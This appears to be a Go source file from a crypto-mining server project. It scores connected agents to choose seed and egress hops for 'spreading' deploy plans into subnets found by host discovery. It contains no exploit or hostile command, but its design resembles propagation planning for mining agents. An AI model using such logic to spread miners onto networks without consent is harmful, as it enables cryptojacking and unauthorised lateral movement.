Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
468 lines
11 KiB
Go
468 lines
11 KiB
Go
// Package spreadrouter computes BGP-style spread routes from Path Tracer sessions,
|
|
// agent clearance, lane success history, and latency.
|
|
package spreadrouter
|
|
|
|
import (
|
|
"net"
|
|
"strings"
|
|
|
|
"crypto-miner-server/internal/clearance"
|
|
)
|
|
|
|
// SpreadMinClearance is the minimum clearance required for spread actions (L2).
|
|
const SpreadMinClearance = clearance.L2
|
|
|
|
// HopSnapshot is one agent hop in an active Path Tracer session.
|
|
type HopSnapshot struct {
|
|
AgentID string
|
|
AgentName string
|
|
Subnet string
|
|
SessionID string
|
|
HopIndex int
|
|
Connected bool
|
|
}
|
|
|
|
// SubnetDiscovery links a discovering hop to hosts on a target subnet.
|
|
type SubnetDiscovery struct {
|
|
Subnet string
|
|
AgentID string
|
|
Hosts []string
|
|
}
|
|
|
|
// SessionSnapshot is routable state from one Path Tracer session.
|
|
type SessionSnapshot struct {
|
|
SessionID string
|
|
Hops []HopSnapshot
|
|
Discoveries []SubnetDiscovery
|
|
}
|
|
|
|
// FleetAgentSnapshot is a connected fleet agent used for routing.
|
|
type FleetAgentSnapshot struct {
|
|
AgentID string
|
|
AgentName string
|
|
Subnet string
|
|
Clearance int
|
|
LatencyMs int
|
|
JoinLane string
|
|
Connected bool
|
|
}
|
|
|
|
// LaneSuccessStat is historical join-lane success on a subnet.
|
|
type LaneSuccessStat struct {
|
|
Subnet string
|
|
JoinLane string
|
|
Success int
|
|
}
|
|
|
|
// Input feeds the route table builder.
|
|
type Input struct {
|
|
Sessions []SessionSnapshot
|
|
FleetAgents []FleetAgentSnapshot
|
|
LaneSuccess []LaneSuccessStat
|
|
TargetSubnets []string
|
|
RequestedLane string
|
|
}
|
|
|
|
// RouteEdge is a weighted edge from a seed hop to a target subnet.
|
|
type RouteEdge struct {
|
|
FromAgentID string `json:"from_agent_id"`
|
|
FromAgentName string `json:"from_agent_name,omitempty"`
|
|
ToSubnet string `json:"to_subnet"`
|
|
SessionID string `json:"session_id,omitempty"`
|
|
HopIndex int `json:"hop_index,omitempty"`
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
Clearance int `json:"clearance_level"`
|
|
LaneSuccess float64 `json:"lane_success_rate"`
|
|
LatencyMs int `json:"latency_ms,omitempty"`
|
|
Weight float64 `json:"weight"`
|
|
}
|
|
|
|
// RouteRecommendation is the best seed hop for one target subnet.
|
|
type RouteRecommendation struct {
|
|
TargetSubnet string `json:"target_subnet"`
|
|
SeedAgentID string `json:"seed_agent_id"`
|
|
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
|
EgressAgentID string `json:"egress_agent_id"`
|
|
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
|
SessionID string `json:"session_id,omitempty"`
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
ClearanceLevel int `json:"clearance_level"`
|
|
Score float64 `json:"score"`
|
|
Reason string `json:"reason,omitempty"`
|
|
}
|
|
|
|
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
|
type SpreadRouteHint struct {
|
|
TargetSubnet string `json:"target_subnet"`
|
|
SeedAgentID string `json:"seed_agent_id"`
|
|
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
|
EgressAgentID string `json:"egress_agent_id"`
|
|
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
|
SessionID string `json:"session_id,omitempty"`
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
Score float64 `json:"score,omitempty"`
|
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
|
}
|
|
|
|
// RouteTable holds weighted edges and recommendations.
|
|
type RouteTable struct {
|
|
Edges []RouteEdge
|
|
Routes []RouteRecommendation
|
|
bySubnet map[string]RouteRecommendation
|
|
}
|
|
|
|
const (
|
|
weightClearance = 0.35
|
|
weightLane = 0.40
|
|
weightLatency = 0.25
|
|
)
|
|
|
|
type candidate struct {
|
|
agentID string
|
|
agentName string
|
|
subnet string
|
|
sessionID string
|
|
hopIndex int
|
|
clearance int
|
|
latencyMs int
|
|
joinLane string
|
|
laneRate float64
|
|
discovered bool
|
|
}
|
|
|
|
// Build constructs a route table from Path Tracer sessions and fleet telemetry.
|
|
func Build(in Input) *RouteTable {
|
|
rt := &RouteTable{bySubnet: make(map[string]RouteRecommendation)}
|
|
laneRates := laneSuccessRates(in.LaneSuccess, in.RequestedLane)
|
|
fleetByID := make(map[string]FleetAgentSnapshot, len(in.FleetAgents))
|
|
for _, ag := range in.FleetAgents {
|
|
fleetByID[ag.AgentID] = ag
|
|
}
|
|
|
|
targets := normalizeTargets(in)
|
|
for _, target := range targets {
|
|
cands := collectCandidates(in, target, fleetByID, laneRates)
|
|
rec, edges := scoreCandidates(target, in.RequestedLane, cands)
|
|
if rec.SeedAgentID != "" {
|
|
rt.Routes = append(rt.Routes, rec)
|
|
rt.bySubnet[target] = rec
|
|
}
|
|
rt.Edges = append(rt.Edges, edges...)
|
|
}
|
|
return rt
|
|
}
|
|
|
|
// Recommend returns the best route for a target subnet.
|
|
func (rt *RouteTable) Recommend(targetSubnet string) (RouteRecommendation, bool) {
|
|
if rt == nil {
|
|
return RouteRecommendation{}, false
|
|
}
|
|
targetSubnet = NormalizeSubnet(targetSubnet)
|
|
rec, ok := rt.bySubnet[targetSubnet]
|
|
return rec, ok
|
|
}
|
|
|
|
// ToHint converts a recommendation into a deploy-plan hint.
|
|
func ToHint(rec RouteRecommendation) *SpreadRouteHint {
|
|
if rec.SeedAgentID == "" {
|
|
return nil
|
|
}
|
|
return &SpreadRouteHint{
|
|
TargetSubnet: rec.TargetSubnet,
|
|
SeedAgentID: rec.SeedAgentID,
|
|
SeedAgentName: rec.SeedAgentName,
|
|
EgressAgentID: rec.EgressAgentID,
|
|
EgressHopIndex: rec.EgressHopIndex,
|
|
SessionID: rec.SessionID,
|
|
JoinLane: rec.JoinLane,
|
|
Score: rec.Score,
|
|
ClearanceLevel: rec.ClearanceLevel,
|
|
}
|
|
}
|
|
|
|
func normalizeTargets(in Input) []string {
|
|
seen := make(map[string]bool)
|
|
var out []string
|
|
add := func(s string) {
|
|
s = NormalizeSubnet(s)
|
|
if s == "" || seen[s] {
|
|
return
|
|
}
|
|
seen[s] = true
|
|
out = append(out, s)
|
|
}
|
|
for _, t := range in.TargetSubnets {
|
|
add(t)
|
|
}
|
|
for _, sess := range in.Sessions {
|
|
for _, d := range sess.Discoveries {
|
|
add(d.Subnet)
|
|
}
|
|
}
|
|
for _, ag := range in.FleetAgents {
|
|
add(ag.Subnet)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnapshot, laneRates map[string]float64) []candidate {
|
|
seen := make(map[string]bool)
|
|
var out []candidate
|
|
|
|
add := func(c candidate) {
|
|
if c.agentID == "" {
|
|
return
|
|
}
|
|
if ag, ok := fleet[c.agentID]; ok {
|
|
if c.clearance == 0 {
|
|
c.clearance = ag.Clearance
|
|
}
|
|
if c.latencyMs == 0 {
|
|
c.latencyMs = ag.LatencyMs
|
|
}
|
|
if c.joinLane == "" {
|
|
c.joinLane = ag.JoinLane
|
|
}
|
|
if c.agentName == "" {
|
|
c.agentName = ag.AgentName
|
|
}
|
|
if !ag.Connected {
|
|
return
|
|
}
|
|
}
|
|
if c.clearance < SpreadMinClearance {
|
|
return
|
|
}
|
|
key := c.agentID + "|" + target
|
|
if seen[key] {
|
|
return
|
|
}
|
|
seen[key] = true
|
|
if c.laneRate == 0 {
|
|
c.laneRate = laneRates[target+"|"+strings.TrimSpace(c.joinLane)]
|
|
if c.laneRate == 0 {
|
|
c.laneRate = laneRates[target+"|"]
|
|
}
|
|
}
|
|
out = append(out, c)
|
|
}
|
|
|
|
for _, sess := range in.Sessions {
|
|
for _, hop := range sess.Hops {
|
|
ag := fleet[hop.AgentID]
|
|
c := candidate{
|
|
agentID: hop.AgentID,
|
|
agentName: hop.AgentName,
|
|
subnet: hop.Subnet,
|
|
sessionID: sess.SessionID,
|
|
hopIndex: hop.HopIndex,
|
|
clearance: ag.Clearance,
|
|
latencyMs: ag.LatencyMs,
|
|
joinLane: ag.JoinLane,
|
|
}
|
|
for _, d := range sess.Discoveries {
|
|
if NormalizeSubnet(d.Subnet) == target && d.AgentID == hop.AgentID {
|
|
c.discovered = true
|
|
break
|
|
}
|
|
}
|
|
if c.discovered || NormalizeSubnet(hop.Subnet) == target {
|
|
add(c)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, ag := range in.FleetAgents {
|
|
if !ag.Connected || ag.Clearance < SpreadMinClearance {
|
|
continue
|
|
}
|
|
if NormalizeSubnet(ag.Subnet) != target {
|
|
continue
|
|
}
|
|
add(candidate{
|
|
agentID: ag.AgentID,
|
|
agentName: ag.AgentName,
|
|
subnet: ag.Subnet,
|
|
clearance: ag.Clearance,
|
|
latencyMs: ag.LatencyMs,
|
|
joinLane: ag.JoinLane,
|
|
laneRate: laneRates[target+"|"+strings.TrimSpace(ag.JoinLane)],
|
|
})
|
|
}
|
|
return out
|
|
}
|
|
|
|
func scoreCandidates(target, requestedLane string, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
|
var edges []RouteEdge
|
|
var best RouteRecommendation
|
|
var bestScore float64
|
|
|
|
for _, c := range cands {
|
|
clearanceScore := clearancePreference(c.clearance)
|
|
laneScore := c.laneRate
|
|
if laneScore <= 0 && strings.TrimSpace(requestedLane) != "" && strings.EqualFold(c.joinLane, requestedLane) {
|
|
laneScore = 0.5
|
|
}
|
|
latencyScore := latencyPreference(c.latencyMs)
|
|
weight := weightClearance*clearanceScore + weightLane*laneScore + weightLatency*latencyScore
|
|
if c.discovered {
|
|
weight += 0.05
|
|
}
|
|
|
|
edges = append(edges, RouteEdge{
|
|
FromAgentID: c.agentID,
|
|
FromAgentName: c.agentName,
|
|
ToSubnet: target,
|
|
SessionID: c.sessionID,
|
|
HopIndex: c.hopIndex,
|
|
JoinLane: c.joinLane,
|
|
Clearance: c.clearance,
|
|
LaneSuccess: laneScore,
|
|
LatencyMs: c.latencyMs,
|
|
Weight: weight,
|
|
})
|
|
|
|
if weight > bestScore {
|
|
bestScore = weight
|
|
reason := "minimum-clearance route"
|
|
if c.discovered {
|
|
reason = "path-tracer discovery on subnet"
|
|
} else if NormalizeSubnet(c.subnet) == target {
|
|
reason = "fleet agent on target subnet"
|
|
}
|
|
best = RouteRecommendation{
|
|
TargetSubnet: target,
|
|
SeedAgentID: c.agentID,
|
|
SeedAgentName: c.agentName,
|
|
EgressAgentID: c.agentID,
|
|
EgressHopIndex: c.hopIndex,
|
|
SessionID: c.sessionID,
|
|
JoinLane: firstNonEmpty(requestedLane, c.joinLane),
|
|
ClearanceLevel: c.clearance,
|
|
Score: weight,
|
|
Reason: reason,
|
|
}
|
|
}
|
|
}
|
|
return best, edges
|
|
}
|
|
|
|
func clearancePreference(level int) float64 {
|
|
if level < SpreadMinClearance {
|
|
return 0
|
|
}
|
|
excess := float64(level - SpreadMinClearance)
|
|
maxExcess := float64(clearance.L4 - SpreadMinClearance)
|
|
if maxExcess <= 0 {
|
|
return 1
|
|
}
|
|
if excess > maxExcess {
|
|
excess = maxExcess
|
|
}
|
|
return 1 - excess/maxExcess
|
|
}
|
|
|
|
func latencyPreference(ms int) float64 {
|
|
if ms <= 0 {
|
|
return 1
|
|
}
|
|
return 1 / (1 + float64(ms)/100)
|
|
}
|
|
|
|
func laneSuccessRates(stats []LaneSuccessStat, requestedLane string) map[string]float64 {
|
|
type bucket struct {
|
|
total int
|
|
lane int
|
|
}
|
|
bySubnet := make(map[string]*bucket)
|
|
for _, s := range stats {
|
|
sub := NormalizeSubnet(s.Subnet)
|
|
if sub == "" || s.Success <= 0 {
|
|
continue
|
|
}
|
|
b := bySubnet[sub]
|
|
if b == nil {
|
|
b = &bucket{}
|
|
bySubnet[sub] = b
|
|
}
|
|
b.total += s.Success
|
|
if requestedLane != "" && strings.EqualFold(s.JoinLane, requestedLane) {
|
|
b.lane += s.Success
|
|
}
|
|
}
|
|
out := make(map[string]float64)
|
|
for sub, b := range bySubnet {
|
|
if b.total <= 0 {
|
|
continue
|
|
}
|
|
out[sub+"|"] = clamp01(float64(b.total) / float64(b.total+3))
|
|
if requestedLane != "" && b.lane > 0 {
|
|
out[sub+"|"+requestedLane] = clamp01(float64(b.lane) / float64(b.total))
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
func clamp01(v float64) float64 {
|
|
if v < 0 {
|
|
return 0
|
|
}
|
|
if v > 1 {
|
|
return 1
|
|
}
|
|
return v
|
|
}
|
|
|
|
func firstNonEmpty(parts ...string) string {
|
|
for _, p := range parts {
|
|
if strings.TrimSpace(p) != "" {
|
|
return strings.TrimSpace(p)
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// NormalizeSubnet returns a /24-style prefix for routing keys.
|
|
func NormalizeSubnet(s string) string {
|
|
s = strings.TrimSpace(strings.ToLower(s))
|
|
if s == "" {
|
|
return ""
|
|
}
|
|
if strings.HasSuffix(s, ".x") {
|
|
return strings.TrimSuffix(s, ".x")
|
|
}
|
|
return SubnetFromIP(s)
|
|
}
|
|
|
|
// SubnetFromIP extracts a routable subnet prefix from an IP or CIDR-ish string.
|
|
func SubnetFromIP(ip string) string {
|
|
ip = strings.TrimSpace(ip)
|
|
if ip == "" {
|
|
return ""
|
|
}
|
|
host := ip
|
|
if h, _, err := net.SplitHostPort(ip); err == nil {
|
|
host = h
|
|
}
|
|
if strings.Count(host, ".") == 2 {
|
|
return host
|
|
}
|
|
parsed := net.ParseIP(host)
|
|
if parsed == nil {
|
|
return ""
|
|
}
|
|
if v4 := parsed.To4(); v4 != nil {
|
|
parts := strings.Split(host, ".")
|
|
if len(parts) >= 3 {
|
|
return strings.Join(parts[:3], ".")
|
|
}
|
|
}
|
|
if strings.Contains(host, ":") {
|
|
parts := strings.Split(host, ":")
|
|
if len(parts) >= 3 {
|
|
return strings.Join(parts[:3], ":")
|
|
}
|
|
}
|
|
return ""
|
|
}
|